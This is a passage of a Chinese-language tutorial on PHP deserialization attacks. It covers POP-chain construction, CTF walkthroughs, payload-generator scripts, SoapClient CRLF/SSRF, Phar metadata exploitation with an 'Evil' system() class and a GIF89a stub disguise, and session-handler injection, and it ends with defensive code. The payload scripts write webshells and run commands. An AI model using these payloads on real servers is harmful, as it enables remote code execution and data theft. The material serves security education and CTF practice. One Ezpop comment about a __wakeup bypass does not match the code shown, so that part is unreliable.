类比理解:如果把反序列化漏洞比作一把枪,那么POP链就是设计如何将这把枪组装起来并瞄准目标的过程。我们需要找到枪的各个部件(类和方法),然后按照正确的顺序组装(构造属性关系),最后扣动扳机(触发入口点)。

POP链与传统反序列化攻击的区别

特征传统反序列化攻击POP链攻击
依赖的代码位置主要在魔术方法中可以在任何类方法中
利用方式直接利用链式调用
复杂度相对简单需要构建完整的调用链
适用场景简单的对象注入复杂的漏洞利用

5.2 造链五步法详解

在实际CTF比赛和渗透测试中,我们需要根据已知的源码来构造POP链。造链的过程可以归纳为以下五个步骤:

第一步:入口魔术方法

找到反序列化的入口点——那个会自动触发的魔术方法。在PHP反序列化漏洞中,最常见的入口是:

  • __destruct():对象销毁时自动触发
  • __wakeup()unserialize()时自动触发
  • __toString():对象被当作字符串使用时触发
  • __call():调用不存在的方法时触发
  • __invoke():对象被当作函数调用时触发

为什么__destruct()是最常用的入口?因为只要反序列化成功创建了对象,当脚本执行完毕或对象被销毁时,__destruct()一定会被调用。

识别入口魔术方法的技巧

观察代码中是否有:

  1. unserialize()函数的调用
  2. 对象被echo或拼接字符串
  3. 对象方法被调用(可能触发__call
  4. 对象被当作函数调用(触发__invoke

第二步:中转传递

找到入口魔术方法后,下一步是找到属性之间的”传递”关系,即如何从入口方法跳转到另一个方法或对象。

典型的中转形式包括:

1
2
3
4
5
6
7
8
9
10
11
// 形式1:对象调用方法
$this->logger->log("message");

// 形式2:返回另一个对象
$obj = $this->factory->create();

// 形式3:数组访问
$data = $this->data[$key];

// 形式4:属性链式访问
$result = $this->obj1->obj2->method();

关键是找到那些可以控制其返回值或行为的属性,因为我们可以通过反序列化来控制这些属性的值。

第三步:敏感函数点

这是POP链的”终点”——能够直接造成危害的函数调用。常见的敏感函数包括:

函数类型危险函数危害
命令执行system(), exec(), shell_exec(), passthru()远程代码执行
文件包含include(), require(), include_once(), require_once()任意文件读取/代码执行
文件读取file_get_contents(), fopen(), readfile()信息泄露
文件写入file_put_contents(), fwrite()写入webshell
文件删除unlink(), rmdir()破坏性操作
代码执行eval(), assert(), preg_replace(/e)任意代码执行

第四步:控制属性值

确定了链子的起点(入口)和终点(敏感函数)后,需要”逆流而上”,找出链子中间各个环节需要的属性值。

例如,如果敏感函数是include($this->file),我们就需要控制$this->file的值。

如果这个值需要是一个对象(比如为了触发__toString()),那么我们还需要设置该对象的相应属性。

第五步:拼接payload

最后,将整个链子中的对象用serialize()序列化,并按照需要进行编码。

典型的payload结构:

1
O:入口类:属性数量:{属性1;属性2;...}

其中属性可能是基本类型值,也可能是另一个序列化后的对象。

5.3 CTF实战链子案例

让我们通过两个具体的CTF案例来完整理解POP链的构造过程:

案例一:Logger + Upload 文件写入链

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Logger {
public $logFile;

function __destruct() {
// 入口:__destruct
file_put_contents($this->logFile, "Log end.");
}
}

class Upload {
public $filename;

function __toString() {
// 中转:返回 filename
return $this->filename;
}
}

造链过程分析

  1. 第一步:入口Logger::__destruct()是入口,调用了file_put_contents($this->logFile, ...)

  2. 第二步:中转:正常情况下,$this->logFile应该是一个字符串。但如果我们将它设置为一个Upload对象呢?

    PHP在调用file_put_contents()时,如果第二个参数是对象,会触发该对象的__toString()方法,将其转换为字符串!

  3. 第三步:敏感函数file_put_contents()可以将内容写入任意文件

  4. 第四步:控制属性值

    • $logFile = 一个Upload对象
    • Upload::$filename = 目标文件路径,如/var/www/html/shell.php
  5. 第五步:拼接payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Logger {
public $logFile;
}

class Upload {
public $filename;
}

// 构造 Upload 对象
$upload = new Upload();
$upload->filename = "/var/www/html/shell.php";

// 构造 Logger 对象,让 logFile 属性指向 Upload 对象
$logger = new Logger();
$logger->logFile = $upload;

// 生成 payload
echo urlencode(serialize($logger));
?>

输出:O:6:"Logger":1:{s:8:"logFile";O:6:"Upload":1:{s:9:"filename";s:22:"/var/www/html/shell.php";}}

案例二:MRCTF2020-Ezpop 完整分析

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class Modifier {
protected $var;
public function append($value){
include($value); // 敏感函数:文件包含
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source; // 触发 __get('source')
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function(); // 触发 __invoke()
}
}
?>

逆向分析

  1. 终点:我们想利用Modifier::append()中的include()来读取文件(如flag.php)

  2. 倒数第二步append()__invoke()调用

  3. 倒数第三步__invoke()Test::__get()触发(通过return $function();

  4. 倒数第四步Test::__get()在访问不存在的属性时被触发

  5. 倒数第五步:在Show::__toString()中存在$this->str->source访问,当$this->strTest对象时,访问source属性会触发Test::__get('source')

  6. 入口Show对象可能在__destruct()或字符串操作中被触发(这里我们绕过__wakeup()

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
ini_set('memory_limit', '-1'); // 避免内存限制错误

class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show {
public $source;
public $str;
}

class Test {
public $p;
}

$test = new Test();
$test->p = new Modifier();

$show = new Show();
$show->str = $test;

// 绕过 __wakeup():将属性数量从 2 改为更大的值
// 但 Show 类实际只有 source 和 str 两个属性
// 所以这里我们设置为 3,但只提供两个属性

// 序列化
$payload = array($show); // 使用数组包裹,绕过正则
echo urlencode(serialize($payload));
?>

关键点

  1. Test::$p设置为Modifier对象,调用$p()时触发__invoke()
  2. Show::$str设置为Test对象,访问->source时触发__get('source')
  3. Show::__toString()file_put_contents等函数触发
  4. 绕过__wakeup()使用属性数量不匹配技巧

5.4 常见POP链模式总结

在实际攻击中,有些POP链模式是反复出现的。掌握这些常见模式可以大大提高构造payload的效率:

链子模式入口方法中转属性终点函数典型场景
字符串拼接链__toString()对象属性任意字符串操作文件读取、命令执行
方法调用链__call()对象属性危险函数调用RCE
函数调用链__invoke()对象属性危险函数调用文件包含
文件操作链__destruct()$filename/$file文件读写删除webshell写入
数组访问链__get()/__set()数组属性数组索引访问数据注入

六、Payload生成脚本

6.1 基础payload生成

在实际渗透测试或CTF比赛中,我们通常不需要手动构造序列化字符串。PHP提供了serialize()函数,可以方便地将对象序列化为字符串。

基础payload生成方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// 1. 定义类
class wllm {
public $admin;
public $passwd;
}

// 2. 创建对象并赋值
$exp = new wllm();
$exp->admin = "admin";
$exp->passwd = "ctf";

// 3. 序列化并输出
echo urlencode(serialize($exp));
?>

输出结果(URL编码后):

1
O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

解码后为:

1
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

为什么要使用urlencode()?

因为直接写序列化字符串到URL中时,很多特殊字符(如:"{})会被浏览器或服务器特殊处理。使用urlencode()可以将这些字符转换为百分号编码,避免解析错误。

原始字符URL编码
:%3A
%22
{%7B
}%7D
;%3B
%%25

6.2 嵌套对象的payload生成

当POP链涉及多个类时,需要构造嵌套的对象结构。PHP的serialize()函数可以自动处理这种嵌套关系。

嵌套对象payload生成示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Note {
public $content;
}

class Reader {
public $note; // Note 对象
}

// 创建 Note 对象
$note = new Note();
$note->content = "flag.php";

// 创建 Reader 对象,note 属性指向 Note 对象
$reader = new Reader();
$reader->note = $note;

// 序列化
echo serialize($reader);
?>

输出:

1
O:6:"Reader":1:{s:4:"note";O:4:"Note":1:{s:7:"content";s:8:"flag.php";}}

可以看到,序列化字符串中嵌套了另一个对象的序列化结果。

6.3 特殊访问修饰符的payload生成

当类属性使用protectedprivate修饰符时,序列化字符串中会包含不可见的\x00字符,需要特别注意。

处理protected属性

1
2
3
4
5
6
7
8
<?php
class Test {
protected $var = "secret";
}

$obj = new Test();
echo urlencode(serialize($obj));
?>

原始序列化结果:

1
O:4:"Test":1:{s:6:" * var";s:6:"secret";}

这里*实际上代表\x00*\x00(三个字节)。

使用urlencode()后的结果会正确编码这些不可见字符。

处理private属性

1
2
3
4
5
6
7
8
<?php
class Test {
private $secret = "hidden";
}

$obj = new Test();
echo urlencode(serialize($obj));
?>

原始序列化结果:

1
O:4:"Test":1:{s:7:" Test secret";s:6:"hidden";}

这里中间有一个空格,实际上是\x00Test\x00(中间是类名,两边是\x00)。

编码方式的选择

  1. URL编码(urlencode):适合在URL中传递payload
  2. Base64编码(base64_encode):适合在HTTP Header或需要纯文本输出的场景
  3. 十六进制表示:可以绕过某些字符串过滤

6.4 完整的payload生成代码集

wllm类的payload生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class wllm {
public $admin;
public $passwd;

public function __destruct() {
if ($this->admin === "admin" && $this->passwd === "ctf") {
include("flag.php");
echo $flag;
} else {
echo $this->admin;
echo $this->passwd;
}
}
}

$exp = new wllm();
$exp->admin = "admin";
$exp->passwd = "ctf";

echo urlencode(serialize($exp));
?>

A类文件读取payload生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A {
public $data;

function __destruct() {
echo file_get_contents($this->data);
}
}

$a = new A();
$a->data = "php://filter/read=convert.base64-encode/resource=flag.php";

echo urlencode(serialize($a));
?>

Note + Reader链的payload生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Note {
public $content;

function __toString() {
return $this->content;
}
}

class Reader {
public $note;

function __destruct() {
include($this->note);
}
}

$note = new Note();
$note->content = "flag.php";

$reader = new Reader();
$reader->note = $note;

echo urlencode(serialize($reader));
?>

Logger + System链的payload生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Logger {
public $file;

function log($message) {
file_put_contents($this->file, $message);
}
}

class System {
public $logger;

function __destruct() {
$this->logger->log("CTF!");
}
}

$logger = new Logger();
$logger->file = "shell.php";

$system = new System();
$system->logger = $logger;

echo urlencode(serialize($system));
?>

七、PHP原生类反序列化利用

7.1 SoapClient类

SoapClient概述

SoapClient是PHP内置的一个用于SOAP协议通信的类。当PHP安装了php-soap扩展后,就可以通过SoapClient类来调用远程的SOAP Web服务。

SOAP(Simple Object Access Protocol)是一种简单的基于XML的协议,它使应用程序通过HTTP来交换信息。SOAP消息通常包含一个Envelope(信封)、Header(头)和Body(体),可以传输各种复杂的数据结构。

触发__call魔术方法

当我们在SoapClient对象上调用一个不存在的方法时,会触发SoapClient的__call()魔术方法。这个方法会根据SoapClient的配置发起一个SOAP请求。

这是一个非常有价值的特性,因为它允许我们控制HTTP请求的各个方面。

CRLF注入原理

SoapClient在发起HTTP请求时,会使用我们在构造方法中设置的user_agent参数作为User-Agent头。但SOAP请求通常需要设置多个HTTP头,如Content-Type、SOAPAction等。

关键发现是:我们可以在user_agent字符串中插入\r\n(CRLF)来注入额外的HTTP头!

1
2
3
4
5
6
<?php
$client = new SoapClient(null, array(
'uri' => 'http://target.com/',
'location' => 'http://target.com/soap',
'user_agent' => "Mozilla/5.0\r\nX-Custom-Header: injected"
));

当这个请求被发送时,HTTP头会变成:

1
2
3
4
5
6
GET /soap HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
X-Custom-Header: injected
Content-Type: text/xml; charset=utf-8
...

通过CRLF注入,我们可以:

  1. 添加任意HTTP头
  2. 修改Content-Type
  3. 在某些情况下注入POST请求体

SSRF利用实战

CTF题目经常利用SoapClient的SSRF(Server-Side Request Forgery)能力来访问内网资源。考虑以下场景:

目标服务器存在一个flag.php,它只允许来自127.0.0.1的请求。但我们有SoapClient这个”代理”,可以发起HTTP请求到127.0.0.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
// 目标服务器上的漏洞代码
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
$vip->getFlag();

// flag.php 的部分代码
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$ip = explode(',', $ip);
$ip = array_pop($ip);
if($ip !== '127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token === 'ctfshow'){
file_put_contents('flag.txt', $flag);
}
}
?>

攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';

$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1'
);

$b = new SoapClient(null, array(
'location' => $target,
'user_agent' => "y4tacker\r\n" .
"Content-Type: application/x-www-form-urlencoded\r\n" .
"X-Forwarded-For: 127.0.0.1\r\n" .
"Content-Length: " . strlen($post_string) . "\r\n\r\n" .
$post_string,
'uri' => "aaab"
));

$aaa = serialize($b);
$aaa = str_replace('^^', "\r\n", $aaa);
echo urlencode($aaa);
?>

注意事项

  1. SoapClient只能调用不存在的方法来触发__call()
  2. CRLF注入需要正确构造HTTP头的格式
  3. Content-Length必须精确计算,否则HTTP请求会出错
  4. 某些PHP版本可能对CRLF有额外限制

八、Phar反序列化

8.1 Phar文件格式

什么是Phar文件

Phar(PHP Archive)是PHP提供的一种打包格式,类似于Java中的JAR文件。Phar可以将多个PHP文件和其他资源(如图片、配置文件)打包成一个单独的文件,便于分发和部署。

php.ini中的phar.readonly配置项控制是否允许创建Phar文件。默认情况下它是关闭的(Off),允许创建Phar文件。

Phar文件结构

一个Phar文件由四个部分组成:

  1. stub(存根):Phar文件的标志,必须以__HALT_COMPILER();?>结尾。这是PHP识别Phar文件的标志,类似于ZIP文件的签名。

  2. manifest(清单):存储被压缩文件的元信息,包括权限、属性等。关键的是,这部分会以序列化的形式存储用户自定义的meta-data

  3. content(内容):被压缩的文件内容。

  4. signature(签名):文件签名,位于文件末尾。

1
2
3
+----------+----------+----------+----------+
| stub | manifest | content | signature|
+----------+----------+----------+----------+

meta-data的序列化存储

当创建Phar文件时,可以通过$phar->setMetadata()方法设置用户自定义的元数据。这个元数据会被序列化后存储在manifest中。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test {
public $data = "flag";
}

$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Test());
$phar->addFromString("test.txt", "test content");
$phar->stopBuffering();
?>

当这个Phar文件被反序列化(通过phar://协议访问)时,存储在manifest中的meta-data会被自动反序列化,从而触发其中的魔术方法。

8.2 漏洞利用条件与步骤

三个必要条件

  1. Phar文件可上传:攻击者需要能够将恶意Phar文件上传到服务器端。

  2. 存在可用的魔术方法:服务器代码中需要定义包含危险操作的魔术方法(如__destruct()__wakeup()等)。

  3. 文件操作参数可控:存在某个文件操作函数的参数可以通过某种方式控制为phar://协议路径。

利用步骤

  1. 生成恶意Phar文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    class Evil {
    public $cmd;
    function __destruct() {
    system($this->cmd);
    }
    }

    $phar = new Phar("evil.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata(new Evil());
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
    ?>
  2. 上传Phar文件:将生成的evil.phar上传到目标服务器。

  3. 触发反序列化:通过某种文件操作函数访问phar://evil.phar,自动触发meta-data的反序列化。

常见的触发函数

根据已知研究,受影响的文件操作函数包括:

函数类别受影响的函数
文件属性fileatime(), filectime(), file_exists(), filesize(), filetype(), is_dir(), is_file(), is_link(), is_writable(), is_readable()
文件读取file_get_contents(), file(), readfile(), fopen(), copy(), rename(), unlink()
压缩相关bzopen(), gzopen(), gzfile(), zipopen()
元数据get_meta_tags(), getimagesize(), exif_imagetype()
其他mkdir(), rmdir(), touch(), opendir(), scandir()

8.3 Phar反序列化绕过

绕过phar://出现在前面的限制

有些WAF或代码过滤会检查字符串中是否包含phar://。在这种情况下,可以使用其他协议来引用phar文件:

1
2
3
compress.bzip2://phar:///home/sx/test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

绕过GIF格式验证

有些应用会验证上传文件的Magic Number来检测文件类型。Phar文件可以在stub中添加GIF89a前缀来绕过:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Evil {
public $cmd;
}

$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Evil());
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

上传后可以修改文件扩展名为.gif.jpg,仍然可以正常访问。

九、PHP Session反序列化

9.1 Session基础

Session的工作原理

Session(会话)是Web应用程序中用于在多个请求之间保持用户状态的技术。其工作流程如下:

  1. 用户首次访问网站时,服务器调用session_start()创建会话
  2. 服务器生成一个唯一的Session ID(如PHPSESSID=abc123
  3. Session ID通过HTTP响应头的Set-Cookie发送给浏览器
  4. 浏览器在后续请求中自动携带这个Cookie
  5. 服务器根据Session ID找到对应的会话数据
  6. 会话数据被反序列化并填充到$_SESSION超全局变量中

Session的存储机制

PHP的Session数据默认以文件形式存储在服务器端。配置文件session.save_path指定存储路径,文件名格式为sess_<SessionID>

三种序列化处理器

PHP支持多种Session数据的序列化方式,由session.serialize_handler配置项控制:

处理器格式示例
php`键名序列化值``names:5:”admin”`
php_serialize序列化值(直接序列化)a:1:{s:4:"name";s:5:"admin";}
php_binary长度字符+键名+序列化值\x04nameadmin

9.2 Session反序列化利用

引擎差异导致的注入

当不同的PHP脚本使用了不同的序列化处理器时,可能产生安全漏洞。考虑以下场景:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 脚本1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['y4'] = $_GET['a'];
var_dump($_SESSION);
?>

// 脚本2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Test {
public $name;
function __wakeup() {
echo $this->name;
}
}
?>

攻击过程:

  1. 访问1.php?a=|O:4:"Test":1:{s:4:"name";s:8:"hacker";}

    由于使用的是php_serialize处理器,|被当作字符串的一部分存储:

    1
    a:1:{s:2:"y4";s:45:"|O:4:"Test":1:{s:4:"name";s:8:"hacker";}";}
  2. 访问2.php

    由于使用的是php处理器,遇到|时会将其当作键名和值的分隔符:

    • 键名:y4
    • 值:O:4:"Test":1:{s:4:"name";s:8:"hacker";}

    值被反序列化,触发Test::__wakeup()

session.upload_progress利用

即使$_SESSION变量不可控,当PHP开启了session.upload_progress.enabled配置时,攻击者可以利用文件上传过程来注入Session数据。

条件:

  • session.upload_progress.enabled = On(默认)
  • session.upload_progress.cleanup = On(默认,会在请求结束后清理)
  • 可以发送多部分编码的文件上传请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
// 攻击脚本
$target = 'http://vulnerable.com/upload.php';
$post_data = array(
'PHP_SESSION_UPLOAD_PROGRESS' => '...',
);

$file_data = array(
'file' => '@payload.php'
);

// 构造multipart请求
$boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));

$body = "--$boundary\r\n";
$body .= "Content-Disposition: form-data; name='Filedata'; filename='test.jpg'\r\n";
$body .= "Content-Type: application/octet-stream\r\n";
$body .= "\r\n";
$body .= "fake image data\r\n";
$body .= "--$boundary\r\n";

$options = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: multipart/form-data; boundary=$boundary",
'content' => $body,
),
);

$context = stream_context_create($options);
$result = file_get_contents($target, false, $context);
?>

十、反序列化防御与最佳实践

10.1 输入验证与白名单

永远不要信任用户输入。这是安全开发的黄金法则。对于反序列化漏洞,最有效的防御措施是严格验证输入。

  1. 禁止使用unserialize()处理不可信数据:优先使用json_decode()代替
  2. 如果必须使用unserialize()
    • 验证输入数据的格式(如使用正则检查)
    • 使用白名单限制允许反序列化的类
    • 在PHP 7+可以使用unserialize($data, ['allowed_classes' => ['MyClass']])限制允许的类
1
2
3
4
5
6
7
8
9
10
11
<?php
// 安全做法:使用 JSON 代替
$user_data = json_decode($_GET['data'], true);
if ($user_data === null && json_last_error() !== JSON_ERROR_NONE) {
die('Invalid JSON');
}

// 如果必须使用 unserialize
$allowed_classes = ['User', 'Article', 'Comment'];
$data = unserialize($_GET['data'], ['allowed_classes' => $allowed_classes]);
?>

10.2 Phar文件上传过滤

由于Phar反序列化可以通过文件包含来触发,对上传文件的过滤非常重要:

  1. 检查文件Magic Number而非仅依赖扩展名
  2. 禁止上传.phar文件
  3. 使用文件内容扫描:检查是否包含__HALT_COMPILER()
  4. 限制可包含的路径:使用open_basedir限制PHP能访问的目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
function check_uploaded_file($file) {
// 检查扩展名
$forbidden_ext = ['phar', 'php', 'phtml', 'phpt'];
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
if (in_array(strtolower($ext), $forbidden_ext)) {
return false;
}

// 检查文件内容
$content = file_get_contents($file['tmp_name']);
if (strpos($content, '__HALT_COMPILER()') !== false) {
return false;
}

// 检查Magic Number
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($file['tmp_name']);
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mimes)) {
return false;
}

return true;
}
?>

10.3 Session处理器一致性配置

确保所有使用Session的脚本使用相同的序列化处理器。在php.ini中统一配置:

1
2
3
4
5
; 统一使用安全的 php_serialize 处理器
session.serialize_handler = php_serialize

; 或者使用自定义的安全处理器
session.serialize_handler = my_handler

10.4 安全的魔术方法实现

如果代码中定义了可能成为反序列化入口的魔术方法,应该确保这些方法不会执行危险操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class SafeClass {
private $file;
private $cmd;

public function __destruct() {
// 不要在魔术方法中直接执行危险操作
// 改为使用安全的包装方法
$this->safeLog();
}

private function safeLog() {
// 只允许写入预定义的日志目录
$log_dir = '/var/log/app/';
$filename = basename($this->file); // 使用 basename 防止路径遍历
$safe_path = $log_dir . $filename;

// 验证路径安全性
$real_path = realpath($safe_path);
if (strpos($real_path, $log_dir) !== 0) {
return; // 路径穿越尝试,拒绝执行
}

file_put_contents($real_path, "Log entry");
}
}
?>

10.5 依赖管理和代码审计

  1. 及时更新PHP版本:修复已知的安全漏洞
  2. 使用安全的依赖:避免使用有已知漏洞的第三方库
  3. 定期代码审计:检查代码中的反序列化使用点
  4. 使用自动化工具:如RIPS、Progpilot等进行静态分析

结语

PHP反序列化漏洞是一个复杂而深奥的安全领域。从基础的序列化格式理解,到魔术方法的触发机制,再到POP链的构造和各类绕过技巧,每个环节都需要深入学习和大量实践。

本文系统性地介绍了PHP反序列化漏洞的各个方面,包括:

  • 序列化基础:序列化和反序列化的概念、格式详解
  • 魔术方法:各类魔术方法的触发时机和利用方式
  • 绕过技巧:PHP版本差异、CVE漏洞、字符逃逸等
  • 类名爆破:黑盒场景下的类发现技术
  • POP链构造:五步造链法和实战案例
  • 特殊利用:原生类SoapClient、Phar反序列化、Session反序列化
  • 防御实践:输入验证、白名单、配置加固

掌握这些知识需要理论与实践相结合。建议读者在理解原理的基础上,多做CTF题目,多分析实际漏洞案例,不断提升自己的技术水平。同时,也要牢记安全的初心,将这些知识用于正当的安全研究和渗透测试中,为构建更安全的Web应用贡献力量。